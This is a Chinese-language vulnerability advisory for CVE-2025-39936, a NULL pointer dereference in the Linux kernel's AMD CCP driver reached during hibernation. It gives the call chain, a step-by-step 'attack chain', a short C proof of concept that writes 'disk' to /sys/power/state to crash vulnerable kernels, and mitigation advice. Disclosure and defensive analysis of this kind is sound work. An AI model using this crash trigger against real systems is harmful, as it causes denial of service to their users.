IPBUF安全漏洞报告
English
CVE-2025-39936 CVSS 5.5 中危

CVE-2025-39936:Linux内核CCP驱动NULL指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39936
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(crypto: ccp - AMD Cryptographic Coprocessor驱动)

相关标签

NULL指针解引用Linux内核CCP驱动AMD加密协处理器拒绝服务本地提权休眠漏洞内核OopsSEVSEV-SNP

漏洞概述

CVE-2025-39936是Linux内核中AMD加密协处理器(CCP)驱动的一个NULL指针解引用漏洞。该漏洞位于__sev_platform_shutdown_locked()函数中,在系统休眠到磁盘(suspend to disk / hibernate)过程中可能被触发。漏洞的根源在于提交9770b428b1a2("crypto: ccp - Move dev_info/err messages for SEV/SNP init and shutdown")在重构错误信息输出逻辑时,遗漏了对__sev_firmware_shutdown()调用__sev_platform_shutdown_locked()时的参数处理。该调用以NULL作为参数传入,导致在关机路径上发生NULL指针解引用,从而触发内核Oops。攻击者需要本地低权限访问即可触发该漏洞,虽然不会泄露机密信息或破坏数据完整性,但会导致系统高可用性影响,可能引发内核崩溃或系统不可用。该漏洞影响Linux 6.17.0-rc4之前的版本,已通过提交46834d90a9a13549264b9581067d8f746b4b36cc和bc509293c9d4f4f74e776f4a0bbb61f63c041938进行修复。

技术细节

该漏洞的技术原理如下:

1. **漏洞触发路径**:在系统休眠(hibernate)过程中,内核会执行device_shutdown -> pci_device_shutdown -> sp_destroy -> psp_dev_destroy -> sev_dev_destroy -> __sev_firmware_shutdown -> __sev_platform_shutdown_locked的调用链。

2. **根本原因**:提交9770b428b1a2重构了SEV/SNP初始化和关闭过程中的dev_info/dev_err消息输出逻辑,将错误信息的打印从调用者移到了被调用函数内部。然而,在重构过程中,__sev_firmware_shutdown()调用__sev_platform_shutdown_locked()时仍然传入了NULL参数,而不是传入一个有效的错误指针。

3. **崩溃机制**:当__sev_platform_shutdown_locked()尝试通过传入的NULL指针访问错误信息时,会触发#PF(Page Fault)异常,导致内核Oops。崩溃时的寄存器状态显示RBX寄存器为0x0000000000000000(NULL),RIP指向__sev_platform_shutdown_locked.cold+0x0/0x21处执行mov (%rbx),%edx指令。

4. **利用条件**:攻击者需要本地低权限访问权限,且需要触发系统休眠到磁盘操作(可通过echo disk > /sys/power/state)。一旦触发,系统将发生内核崩溃。

5. **修复方案**:修复方法是在调用__sev_platform_shutdown_locked()时传入一个指向函数局部错误变量的指针(ERR_PTR),使函数能够正确处理错误信息的输出。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者需要获得目标系统的本地低权限访问权限。由于漏洞的CVSS向量中认证要求为PR:L(低权限),攻击者无需管理员权限即可利用此漏洞。
STEP 2
步骤2:确认CCP/PSP硬件存在
攻击者需要确认目标系统配备有AMD加密协处理器(CCP)或平台安全处理器(PSP),这些硬件通常存在于AMD EPYC服务器平台或带有AMD处理器的系统中。可以通过lspci命令确认。
STEP 3
步骤3:触发休眠到磁盘操作
攻击者通过向/sys/power/state写入'disk'来触发系统休眠到磁盘(hibernate)操作。这将启动内核的设备关机流程。
STEP 4
步骤4:触发设备关机路径
系统休眠过程中,内核执行device_shutdown -> pci_device_shutdown -> sp_destroy -> psp_dev_destroy -> sev_dev_destroy的调用链,开始关闭CCP设备。
STEP 5
步骤5:触发NULL指针解引用
在__sev_firmware_shutdown()调用__sev_platform_shutdown_locked()时,由于传入NULL参数,函数尝试通过NULL指针访问错误信息,触发#PF异常,导致内核Oops和系统崩溃。
STEP 6
步骤6:拒绝服务
内核崩溃导致系统不可用,实现拒绝服务攻击。系统显示Oops: 0000 [#1] SMP NOPTI错误信息并停止响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-39936 PoC - Trigger NULL pointer dereference in CCP driver during hibernate // This PoC triggers the vulnerability by initiating suspend-to-disk operation // which causes the kernel to shutdown CCP devices, triggering the NULL ptr deref. // Note: Requires local access with low privileges and CCP/PSP hardware present // Affected kernel version: Linux 6.17.0-rc4 and earlier (with commit 9770b428b1a2) #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #define SYS_POWER_STATE "/sys/power/state" int main(int argc, char *argv[]) { int fd; int ret; const char *state = "disk"; // Suspend to disk (hibernate) // Check if /sys/power/state is accessible fd = open(SYS_POWER_STATE, O_RDWR); if (fd < 0) { perror("[-] Failed to open /sys/power/state"); fprintf(stderr, "[!] This PoC requires access to power management interfaces\n"); fprintf(stderr, "[!] Try running as root or with appropriate capabilities\n"); return 1; } printf("[*] CVE-2025-39936 PoC - CCP NULL Pointer Dereference\n"); printf("[*] Triggering suspend-to-disk to invoke device shutdown path...\n"); printf("[*] This will cause kernel oops in __sev_platform_shutdown_locked()\n"); // Write "disk" to /sys/power/state to trigger hibernation // This will cause the kernel to shutdown PCI devices including CCP/PSP // which triggers the vulnerable code path: // kernel_power_off -> hibernate -> device_shutdown -> pci_device_shutdown // -> sp_destroy -> psp_dev_destroy -> sev_dev_destroy // -> __sev_firmware_shutdown -> __sev_platform_shutdown_locked (NULL deref!) ret = write(fd, state, strlen(state)); if (ret < 0) { perror("[-] Failed to write to /sys/power/state"); close(fd); return 1; } close(fd); printf("[*] Suspend command issued. System should crash if vulnerable.\n"); return 0; }

影响范围

Linux kernel < 6.17.0-rc4
Linux kernel 引入提交9770b428b1a2之后的所有受影响版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)限制普通用户对/sys/power/state等电源管理接口的访问权限,仅允许root用户执行休眠操作;2)通过内核启动参数或sysctl禁用休眠功能(如设置/sys/power/disk为禁用状态);3)如果系统不需要SEV/SEV-SNP功能,可以在BIOS中关闭相关硬件支持;4)监控系统日志,及时发现异常崩溃事件;5)使用cgroup或其他访问控制机制限制非特权用户触发系统休眠操作的能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表